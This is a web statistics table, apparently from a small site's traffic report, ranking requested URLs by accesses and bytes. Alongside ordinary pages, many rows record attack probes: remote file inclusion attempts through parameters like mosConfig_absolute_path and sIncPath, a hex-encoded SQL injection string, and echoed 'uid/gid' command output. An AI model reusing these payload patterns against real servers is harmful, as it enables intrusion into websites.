| Rank | Item | Accesses | % | Bytes | % | Visits | % |
|---|---|---|---|---|---|---|---|
| 1 | [ /graphics] | 27,492 | 58.65 | 347,568,185 | 64.05 | 934 | 16.43 |
| 2 | [ /season] | 10,831 | 23.11 | 64,196,166 | 11.83 | 1,410 | 24.80 |
| 3 | [ /Templates] | 2,309 | 4.93 | 1,753,056 | 0.32 | 800 | 14.07 |
| 4 | [ /stats] | 2,008 | 4.28 | 6,013,189 | 1.11 | 456 | 8.02 |
| 5 | [ /webstats] | 1,672 | 3.57 | 4,257,456 | 0.78 | 554 | 9.74 |
| 6 | / | 1,352 | 2.88 | 27,093,107 | 4.99 | 842 | 14.81 |
| 7 | [ /pdfs] | 315 | 0.67 | 73,320,412 | 13.51 | 232 | 4.08 |
| 8 | /index.htm | 83 | 0.18 | 1,736,065 | 0.32 | 80 | 1.41 |
| 9 | /SASregistration.htm | 80 | 0.17 | 2,741,506 | 0.51 | 79 | 1.39 |
| 10 | [ /?sIncPath=http:] | 76 | 0.16 | 1,838,440 | 0.34 | 0 | 0.00 |
| 11 | [ /?_SERVER[DOCUMENT_ROOT]=http:] | 67 | 0.14 | 1,621,171 | 0.30 | 0 | 0.00 |
| 12 | [ /galleries] | 66 | 0.14 | 52,295 | 0.01 | 14 | 0.25 |
| 13 | [ /?custompluginfile[]=http:] | 61 | 0.13 | 1,475,653 | 0.27 | 0 | 0.00 |
| 14 | /SAScontact.htm | 55 | 0.12 | 772,880 | 0.14 | 54 | 0.95 |
| 15 | /SASabout.htm | 54 | 0.12 | 967,067 | 0.18 | 54 | 0.95 |
| 16 | /SASfosas.htm | 50 | 0.11 | 1,092,905 | 0.20 | 50 | 0.88 |
| 17 | /SASgallery.htm | 44 | 0.09 | 828,478 | 0.15 | 43 | 0.76 |
| 18 | [ /?_zb_path=http:] | 40 | 0.09 | 967,726 | 0.18 | 0 | 0.00 |
| 19 | [ /?view=page&pagename=http:] | 36 | 0.08 | 870,903 | 0.16 | 0 | 0.00 |
| 20 | /SASnewsletter.htm | 29 | 0.06 | 357,776 | 0.07 | 29 | 0.51 |
| 21 | /SASscholarship.htm | 29 | 0.06 | 348,976 | 0.06 | 29 | 0.51 |
| 22 | /SASlinks.htm | 25 | 0.05 | 294,510 | 0.05 | 25 | 0.44 |
| 23 | [ /?mosConfig_absolute_path=http:] | 21 | 0.04 | 508,053 | 0.09 | 0 | 0.00 |
| 24 | [ /?_zb_path=..] | 11 | 0.02 | 266,216 | 0.05 | 0 | 0.00 |
| 25 | [ /?sourcedir=http:] | 6 | 0.01 | 145,140 | 0.03 | 0 | 0.00 |
| 26 | [ /?option=com_wrapper&Itemid=&mosConfig_absolute_path=http:] | 5 | 0.01 | 120,950 | 0.02 | 0 | 0.00 |
| 27 | [ /?custompluginfile=http:] | 4 | 0.01 | 96,760 | 0.02 | 0 | 0.00 |
| 28 | [ ////?_zb_path=http:] | 3 | 0.01 | 72,759 | 0.01 | 0 | 0.00 |
| 29 | /?> | 3 | 0.01 | 72,696 | 0.01 | 0 | 0.00 |
| 30 | [ /?mosConfig_absolute_path= http:] | 3 | 0.01 | 72,570 | 0.01 | 0 | 0.00 |
| 31 | [ /?option=com_joomlalib&task=&mosConfig_absolute_path=http:] | 3 | 0.01 | 72,570 | 0.01 | 0 | 0.00 |
| 32 | [ /?page=http:] | 3 | 0.01 | 72,633 | 0.01 | 0 | 0.00 |
| 33 | [ /?path[docroot]= http:] | 3 | 0.01 | 72,570 | 0.01 | 0 | 0.00 |
| 34 | [ //?custompluginfile[]=http:] | 2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 35 | [ /?DOCUMENT_ROOT=http:] | 2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 36 | [ /?_SERVER[DOCUMENT_ROOT]=..] | 2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 37 | [ /?baseDir=http:] | 2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 38 | [ /?custompluginfile[]=..] | 2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 39 |
[
/?option=com_content&task=§ionid=&id=&mosConfig_absolute _path=http:] |
2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 40 | /?path[docroot]= | 2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 41 | [ /?sIncPath= powered 2009http:] | 2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 42 | [ /?site= bussnisshttp:] | 2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 43 | [ /?sourcedir=..] | 2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 44 | [ /?zb_path=http:] | 2 | 0.00 | 48,380 | 0.01 | 0 | 0.00 |
| 45 |
/?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542 07661726368617228323535292C404320766172636861722834303030292 04445434C415245205461626C655F437572736F7220435552534F5220464 F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737 9736F626A6563747320612C737973636F6C756D6E732@S); |
1 | 0.00 | 24,253 | 0.00 | 0 | 0.00 |
| 46 | [ /?ABSOLUTE_PATH_STUDIP=http:] | 1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |
| 47 |
/?_ult_url_params=sec=srp&slk=web&cpos=&pos=1&concept=standa rd&query=Sharon+art+studio&cbid= |
1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |
| 48 |
/?cfAC12041D=575E17F!bWVzYWM6emlvbnM6i7ZcyNvEXMSMCWBziJ1NnQ= = |
1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |
| 49 | /?citysearch_profile_view=1&profile_id=41271045 | 1 | 0.00 | 24,253 | 0.00 | 0 | 0.00 |
| 50 | [ /?cmd&file=http:] | 1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |
| 51 | /?menu_frame.html | 1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |
| 52 | [ /?mosConfig_absolute_path=..] | 1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |
| 53 | /?p=40148 | 1 | 0.00 | 24,253 | 0.00 | 0 | 0.00 |
| 54 | [ /?path[docroot]=http:] | 1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |
| 55 | /?php=http://www.nglschool.co.kr | 1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |
| 56 |
/?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host ing) |
1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |
| 57 |
/?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host ing) ? |
1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |
| 58 | [ /?sincpath=http:] | 1 | 0.00 | 24,253 | 0.00 | 0 | 0.00 |
| 59 | [ /?view=page&pagename= http:] | 1 | 0.00 | 24,190 | 0.00 | 0 | 0.00 |